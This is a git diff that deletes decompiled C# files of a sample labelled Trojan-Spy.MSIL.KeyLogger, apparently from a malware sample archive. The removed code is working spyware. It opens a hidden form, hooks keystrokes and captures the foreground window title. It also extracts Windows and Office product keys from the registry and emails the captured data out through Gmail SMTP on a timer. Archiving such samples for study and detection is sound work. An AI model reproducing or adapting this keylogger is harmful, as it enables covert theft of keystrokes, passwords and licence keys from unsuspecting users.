{5E22BD5A-DA25-43CF-9A04-4694668EBAD7}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0001/_0001.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0001/_0001.cs deleted file mode 100644 index 19ddd103..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0001/_0001.cs +++ /dev/null @@ -1,49 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dfghdfghtyetryetyetyety, Version=2.3.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 915EBE8E-E020-4182-8C70-BC975537D555 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a.exe - -using \u0002; -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -namespace \u0001 -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class \u0001 : WindowsFormsApplicationBase - { - [STAThread] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerHidden] - internal static void \u0002(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - \u0001.Application.Run(Args); - } - - [DebuggerStepThrough] - public \u0001() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) \u0001.Forms.Form1; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0001/_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0001/_0002.cs deleted file mode 100644 index 2f354be3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0001/_0002.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dfghdfghtyetryetyetyety, Version=2.3.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 915EBE8E-E020-4182-8C70-BC975537D555 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace \u0001 -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class \u0002 : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public \u0002() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0002/_0001.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0002/_0001.cs deleted file mode 100644 index cdbc17c7..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0002/_0001.cs +++ /dev/null @@ -1,212 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dfghdfghtyetryetyetyety, Version=2.3.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 915EBE8E-E020-4182-8C70-BC975537D555 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace \u0002 -{ - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [HideModuleName] - internal sealed class \u0001 - { - private static readonly \u0002.\u0001.\u0003<\u0001.\u0002> \u0001 = new \u0002.\u0001.\u0003<\u0001.\u0002>(); - private static readonly \u0002.\u0001.\u0003<\u0001.\u0001> \u0001 = new \u0002.\u0001.\u0003<\u0001.\u0001>(); - private static readonly \u0002.\u0001.\u0003 \u0001 = new \u0002.\u0001.\u0003(); - private static \u0002.\u0001.\u0003<\u0002.\u0001.\u0001> \u0001 = new \u0002.\u0001.\u0003<\u0002.\u0001.\u0001>(); - private static readonly \u0002.\u0001.\u0003<\u0002.\u0001.\u0002> \u0001 = new \u0002.\u0001.\u0003<\u0002.\u0001.\u0002>(); - - [DebuggerNonUserCode] - static \u0001() - { - } - - [HelpKeyword("My.Computer")] - internal static \u0001.\u0002 Computer - { - [DebuggerHidden] get => \u0002.\u0001.\u0001.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static \u0001.\u0001 Application - { - [DebuggerHidden] get => \u0002.\u0001.\u0001.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => \u0002.\u0001.\u0001.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static \u0002.\u0001.\u0001 Forms - { - [DebuggerHidden] get => \u0002.\u0001.\u0001.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static \u0002.\u0001.\u0002 WebServices - { - [DebuggerHidden] get => \u0002.\u0001.\u0001.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0001 - { - public \u0003.\u0002 \u0001; - [ThreadStatic] - private static Hashtable \u0001; - - public \u0003.\u0002 Form1 - { - [DebuggerNonUserCode] get - { - this.\u0001 = \u0002.\u0001.\u0001.\u0002<\u0003.\u0002>(this.\u0001); - return this.\u0001; - } - [DebuggerNonUserCode] set - { - if (value == this.\u0001) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.\u0002<\u0003.\u0002>(ref this.\u0001); - } - } - - [DebuggerHidden] - private static T \u0002(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (\u0002.\u0001.\u0001.\u0001 != null) - { - if (\u0002.\u0001.\u0001.\u0001.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - \u0002.\u0001.\u0001.\u0001 = new Hashtable(); - \u0002.\u0001.\u0001.\u0001.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - \u0002.\u0001.\u0001.\u0001.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void \u0002(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public \u0001() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal System.Type \u0002() => typeof (\u0002.\u0001.\u0001); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0002 - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal System.Type \u0002() => typeof (\u0002.\u0001.\u0002); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T \u0002(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void \u0002(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public \u0002() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0003 where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) \u0002.\u0001.\u0003.\u0001 == null) - \u0002.\u0001.\u0003.\u0001 = new T(); - return \u0002.\u0001.\u0003.\u0001; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public \u0003() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0002/_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0002/_0002.cs deleted file mode 100644 index 1d0b5cfb..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0002/_0002.cs +++ /dev/null @@ -1,122 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dfghdfghtyetryetyetyety, Version=2.3.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 915EBE8E-E020-4182-8C70-BC975537D555 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a.exe - -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System.Collections; -using System.Diagnostics; - -namespace \u0002 -{ - internal class \u0002 - { - [DebuggerNonUserCode] - public \u0002() - { - } - - public static byte[] \u0002(\u0002.\u0002.\u0001 key) - { - byte[] numArray1 = (byte[]) null; - RegistryKey registryKey = (RegistryKey) null; - switch (key) - { - case \u0002.\u0002.\u0001.\u0001: - registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", false); - break; - case \u0002.\u0002.\u0001.\u0002: - registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Office\\11.0\\Registration\\{90110409-6000-11D3-8CFE-0150048383C9}", false); - break; - case \u0002.\u0002.\u0001.\u0003: - registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Office\\12.0\\Registration\\{91120000-002F-0000-0000-0000000FF1CE}", false); - break; - } - if (registryKey != null) - { - byte[] numArray2 = registryKey.GetValue("DigitalProductId") as byte[]; - registryKey.Close(); - return numArray2; - } - if (registryKey == null) - numArray1 = (byte[]) null; - return numArray1; - } - - public static string \u0002(byte[] digitalProductId) - { - if (digitalProductId == null) - return ""; - char[] chArray1 = new char[24] - { - 'B', - 'C', - 'D', - 'F', - 'G', - 'H', - 'J', - 'K', - 'M', - 'P', - 'Q', - 'R', - 'T', - 'V', - 'W', - 'X', - 'Y', - '2', - '3', - '4', - '6', - '7', - '8', - '9' - }; - char[] chArray2 = new char[29]; - ArrayList arrayList = new ArrayList(); - int index1 = 52; - do - { - arrayList.Add((object) digitalProductId[index1]); - checked { ++index1; } - } - while (index1 <= 67); - int index2 = 28; - do - { - if (checked (index2 + 1) % 6 == 0) - { - chArray2[index2] = '-'; - } - else - { - int index3 = 0; - int index4 = 14; - do - { - int num = index3 << 8 | (int) Conversions.ToByte(arrayList[index4]); - arrayList[index4] = (object) checked ((byte) unchecked (num / 24)); - index3 = num % 24; - chArray2[index2] = chArray1[index3]; - checked { index4 += -1; } - } - while (index4 >= 0); - } - checked { index2 += -1; } - } - while (index2 >= 0); - return new string(chArray2); - } - - internal enum \u0001 - { - \u0001, - \u0002, - \u0003, - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0003/_0001.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0003/_0001.cs deleted file mode 100644 index 0fdb7c51..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0003/_0001.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dfghdfghtyetryetyetyety, Version=2.3.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 915EBE8E-E020-4182-8C70-BC975537D555 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a.exe - -using \u0003; -using System; -using System.Windows.Forms; - -namespace \u0003 -{ - internal sealed class \u0001 - { - private \u0001() - { - } - - [STAThread] - public static void \u0002() - { - Application.EnableVisualStyles(); - Application.SetCompatibleTextRenderingDefault(false); - Application.Run((Form) new \u0002()); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0003/_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0003/_0002.cs deleted file mode 100644 index 21e5ef08..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0003/_0002.cs +++ /dev/null @@ -1,2292 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dfghdfghtyetryetyetyety, Version=2.3.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 915EBE8E-E020-4182-8C70-BC975537D555 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a.exe - -using \u0002; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; -using System.Windows.Forms; - -namespace \u0003 -{ - [DesignerGenerated] - internal class \u0002 : Form - { - private IContainer \u0001; - [AccessedThroughProperty("lblnumb")] - private Label \u0001; - [AccessedThroughProperty("TextBox14")] - private TextBox \u0001; - [AccessedThroughProperty("TextBox10")] - private TextBox \u0002; - [AccessedThroughProperty("txtWin")] - private TextBox \u0003; - [AccessedThroughProperty("TextBox7")] - private TextBox \u0004; - [AccessedThroughProperty("TextBox6")] - private TextBox \u0005; - [AccessedThroughProperty("TextBox5")] - private TextBox \u0006; - [AccessedThroughProperty("TextBox4")] - private TextBox \u0007; - [AccessedThroughProperty("TextBox3")] - private TextBox \u0008; - [AccessedThroughProperty("TextBox2")] - private TextBox \u000E; - [AccessedThroughProperty("TextBox1")] - private TextBox \u000F; - [AccessedThroughProperty("Timer1")] - private System.Windows.Forms.Timer \u0001; - [AccessedThroughProperty("Timer2")] - private System.Windows.Forms.Timer \u0002; - [AccessedThroughProperty("Timer3")] - private System.Windows.Forms.Timer \u0003; - [AccessedThroughProperty("Timer4")] - private System.Windows.Forms.Timer \u0004; - [AccessedThroughProperty("Timer5")] - private System.Windows.Forms.Timer \u0005; - private string[] \u0001; - private string \u0001; - private string \u0002; - private string \u0003; - private string \u0004; - private string \u0005; - private string \u0006; - private string \u0007; - private string \u0008; - private string \u000E; - private string \u000F; - private string \u0010; - private string \u0011; - private string \u0012; - private string \u0013; - private string \u0014; - private string \u0015; - private string \u0016; - private string \u0017; - private string \u0018; - private string \u0019; - private string \u001A; - private string \u001B; - private string \u001C; - private string \u001D; - private string \u001E; - private string \u001F; - private string \u007F; - private string \u0080; - private string \u0081; - private string \u0082; - private string \u0083; - private const string \u0084 = "@JTR"; - private string \u0086; - private string \u0087; - private WebClient \u0001; - private string \u0088; - [AccessedThroughProperty("HKB")] - private \u0003.\u0002.\u0001 \u0001; - private string \u0089; - - public \u0002() - { - this.Load += new EventHandler(this.\u0004); - this.\u0086 = \u0001.Computer.Name + "--" + Conversions.ToString(DateAndTime.TimeOfDay); - this.\u0001 = new WebClient(); - this.HKB = new \u0003.\u0002.\u0001(); - this.\u0089 = (string) null; - this.\u0002(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.\u0001 == null) - return; - this.\u0001.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void \u0002() - { - this.\u0001 = (IContainer) new System.ComponentModel.Container(); - this.lblnumb = new Label(); - this.TextBox14 = new TextBox(); - this.TextBox10 = new TextBox(); - this.txtWin = new TextBox(); - this.TextBox7 = new TextBox(); - this.TextBox6 = new TextBox(); - this.TextBox5 = new TextBox(); - this.TextBox4 = new TextBox(); - this.TextBox3 = new TextBox(); - this.TextBox2 = new TextBox(); - this.TextBox1 = new TextBox(); - this.Timer1 = new System.Windows.Forms.Timer(this.\u0001); - this.Timer2 = new System.Windows.Forms.Timer(this.\u0001); - this.Timer3 = new System.Windows.Forms.Timer(this.\u0001); - this.Timer4 = new System.Windows.Forms.Timer(this.\u0001); - this.Timer5 = new System.Windows.Forms.Timer(this.\u0001); - this.SuspendLayout(); - this.lblnumb.AutoSize = true; - Label lblnumb1 = this.lblnumb; - Point point1 = new Point((int) sbyte.MaxValue, 57); - Point point2 = point1; - lblnumb1.Location = point2; - this.lblnumb.Name = "lblnumb"; - Label lblnumb2 = this.lblnumb; - Size size1 = new Size(39, 13); - Size size2 = size1; - lblnumb2.Size = size2; - this.lblnumb.TabIndex = 21; - this.lblnumb.Text = "Label1"; - TextBox textBox14_1 = this.TextBox14; - point1 = new Point(114, 236); - Point point3 = point1; - textBox14_1.Location = point3; - this.TextBox14.Name = "TextBox14"; - TextBox textBox14_2 = this.TextBox14; - size1 = new Size(10, 20); - Size size3 = size1; - textBox14_2.Size = size3; - this.TextBox14.TabIndex = 20; - TextBox textBox10_1 = this.TextBox10; - point1 = new Point(116, 210); - Point point4 = point1; - textBox10_1.Location = point4; - this.TextBox10.Name = "TextBox10"; - TextBox textBox10_2 = this.TextBox10; - size1 = new Size(8, 20); - Size size4 = size1; - textBox10_2.Size = size4; - this.TextBox10.TabIndex = 19; - TextBox txtWin1 = this.txtWin; - point1 = new Point(116, 184); - Point point5 = point1; - txtWin1.Location = point5; - this.txtWin.Name = "txtWin"; - TextBox txtWin2 = this.txtWin; - size1 = new Size(10, 20); - Size size5 = size1; - txtWin2.Size = size5; - this.txtWin.TabIndex = 18; - TextBox textBox7_1 = this.TextBox7; - point1 = new Point(116, 158); - Point point6 = point1; - textBox7_1.Location = point6; - this.TextBox7.Name = "TextBox7"; - TextBox textBox7_2 = this.TextBox7; - size1 = new Size(10, 20); - Size size6 = size1; - textBox7_2.Size = size6; - this.TextBox7.TabIndex = 17; - this.TextBox7.Text = "C:\\WINDOWS\\system32\\1025"; - TextBox textBox6_1 = this.TextBox6; - point1 = new Point(116, 132); - Point point7 = point1; - textBox6_1.Location = point7; - this.TextBox6.Name = "TextBox6"; - TextBox textBox6_2 = this.TextBox6; - size1 = new Size(10, 20); - Size size7 = size1; - textBox6_2.Size = size7; - this.TextBox6.TabIndex = 16; - this.TextBox6.Text = "1"; - TextBox textBox5_1 = this.TextBox5; - point1 = new Point(116, 106); - Point point8 = point1; - textBox5_1.Location = point8; - this.TextBox5.Name = "TextBox5"; - TextBox textBox5_2 = this.TextBox5; - size1 = new Size(10, 20); - Size size8 = size1; - textBox5_2.Size = size8; - this.TextBox5.TabIndex = 15; - this.TextBox5.Text = ".gif"; - TextBox textBox4_1 = this.TextBox4; - point1 = new Point(116, 80); - Point point9 = point1; - textBox4_1.Location = point9; - this.TextBox4.Name = "TextBox4"; - TextBox textBox4_2 = this.TextBox4; - size1 = new Size(10, 20); - Size size9 = size1; - textBox4_2.Size = size9; - this.TextBox4.TabIndex = 14; - TextBox textBox3_1 = this.TextBox3; - point1 = new Point(116, 54); - Point point10 = point1; - textBox3_1.Location = point10; - this.TextBox3.Name = "TextBox3"; - TextBox textBox3_2 = this.TextBox3; - size1 = new Size(10, 20); - Size size10 = size1; - textBox3_2.Size = size10; - this.TextBox3.TabIndex = 13; - TextBox textBox2_1 = this.TextBox2; - point1 = new Point(116, 28); - Point point11 = point1; - textBox2_1.Location = point11; - this.TextBox2.Name = "TextBox2"; - TextBox textBox2_2 = this.TextBox2; - size1 = new Size(10, 20); - Size size11 = size1; - textBox2_2.Size = size11; - this.TextBox2.TabIndex = 12; - TextBox textBox1_1 = this.TextBox1; - point1 = new Point(149, 6); - Point point12 = point1; - textBox1_1.Location = point12; - this.TextBox1.Multiline = true; - this.TextBox1.Name = "TextBox1"; - TextBox textBox1_2 = this.TextBox1; - size1 = new Size(22, 10); - Size size12 = size1; - textBox1_2.Size = size12; - this.TextBox1.TabIndex = 11; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - size1 = new Size(10, 10); - this.ClientSize = size1; - this.Controls.Add((Control) this.lblnumb); - this.Controls.Add((Control) this.TextBox14); - this.Controls.Add((Control) this.TextBox10); - this.Controls.Add((Control) this.txtWin); - this.Controls.Add((Control) this.TextBox7); - this.Controls.Add((Control) this.TextBox6); - this.Controls.Add((Control) this.TextBox5); - this.Controls.Add((Control) this.TextBox4); - this.Controls.Add((Control) this.TextBox3); - this.Controls.Add((Control) this.TextBox2); - this.Controls.Add((Control) this.TextBox1); - this.FormBorderStyle = FormBorderStyle.None; - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = "Form1"; - this.Opacity = 0.0; - this.ShowIcon = false; - this.ShowInTaskbar = false; - this.ResumeLayout(false); - this.PerformLayout(); - } - - internal virtual Label lblnumb - { - [DebuggerNonUserCode] get => this.\u0001; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this.\u0001 = value; - } - - internal virtual TextBox TextBox14 - { - [DebuggerNonUserCode] get => this.\u0001; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this.\u0001 = value; - } - - internal virtual TextBox TextBox10 - { - [DebuggerNonUserCode] get => this.\u0002; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this.\u0002 = value; - } - - internal virtual TextBox txtWin - { - [DebuggerNonUserCode] get => this.\u0003; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this.\u0003 = value; - } - - internal virtual TextBox TextBox7 - { - [DebuggerNonUserCode] get => this.\u0004; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this.\u0004 = value; - } - - internal virtual TextBox TextBox6 - { - [DebuggerNonUserCode] get => this.\u0005; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this.\u0005 = value; - } - - internal virtual TextBox TextBox5 - { - [DebuggerNonUserCode] get => this.\u0006; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this.\u0006 = value; - } - - internal virtual TextBox TextBox4 - { - [DebuggerNonUserCode] get => this.\u0007; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this.\u0007 = value; - } - - internal virtual TextBox TextBox3 - { - [DebuggerNonUserCode] get => this.\u0008; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this.\u0008 = value; - } - - internal virtual TextBox TextBox2 - { - [DebuggerNonUserCode] get => this.\u000E; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this.\u000E = value; - } - - internal virtual TextBox TextBox1 - { - [DebuggerNonUserCode] get => this.\u000F; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this.\u000F = value; - } - - internal virtual System.Windows.Forms.Timer Timer1 - { - [DebuggerNonUserCode] get => this.\u0001; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.\u0002); - if (this.\u0001 != null) - this.\u0001.Tick -= eventHandler; - this.\u0001 = value; - if (this.\u0001 == null) - return; - this.\u0001.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer2 - { - [DebuggerNonUserCode] get => this.\u0002; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.\u0003); - if (this.\u0002 != null) - this.\u0002.Tick -= eventHandler; - this.\u0002 = value; - if (this.\u0002 == null) - return; - this.\u0002.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer3 - { - [DebuggerNonUserCode] get => this.\u0003; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.\u0005); - if (this.\u0003 != null) - this.\u0003.Tick -= eventHandler; - this.\u0003 = value; - if (this.\u0003 == null) - return; - this.\u0003.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer4 - { - [DebuggerNonUserCode] get => this.\u0004; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.\u0006); - if (this.\u0004 != null) - this.\u0004.Tick -= eventHandler; - this.\u0004 = value; - if (this.\u0004 == null) - return; - this.\u0004.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer5 - { - [DebuggerNonUserCode] get => this.\u0005; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.\u0007); - if (this.\u0005 != null) - this.\u0005.Tick -= eventHandler; - this.\u0005 = value; - if (this.\u0005 == null) - return; - this.\u0005.Tick += eventHandler; - } - } - - private void \u0002(object sender, EventArgs e) - { - new SmtpClient("smtp.gmail.com") - { - Port = 587, - EnableSsl = true, - Credentials = ((ICredentialsByHost) new NetworkCredential(this.TextBox2.Text, this.TextBox3.Text)) - }.Send(new MailMessage() - { - Subject = \u0001.Computer.Name + ":", - To = { - this.TextBox2.Text - }, - From = new MailAddress(this.TextBox2.Text), - Body = this.TextBox1.Text + "Saat : " + Conversions.ToString(DateAndTime.TimeOfDay) + " Tarih :" + DateAndTime.DateString - }); - this.TextBox1.Clear(); - } - - private virtual \u0003.\u0002.\u0001 HKB - { - [DebuggerNonUserCode] get => this.\u0001; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - \u0003.\u0002.\u0001.\u0003 obj = new \u0003.\u0002.\u0001.\u0003(this.\u0002); - if (this.\u0001 != null) - \u0003.\u0002.\u0001.KD -= obj; - this.\u0001 = value; - if (this.\u0001 == null) - return; - \u0003.\u0002.\u0001.KD += obj; - } - } - - [DllImport("user32.dll", EntryPoint = "GetForegroundWindow", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0002(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0002(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); 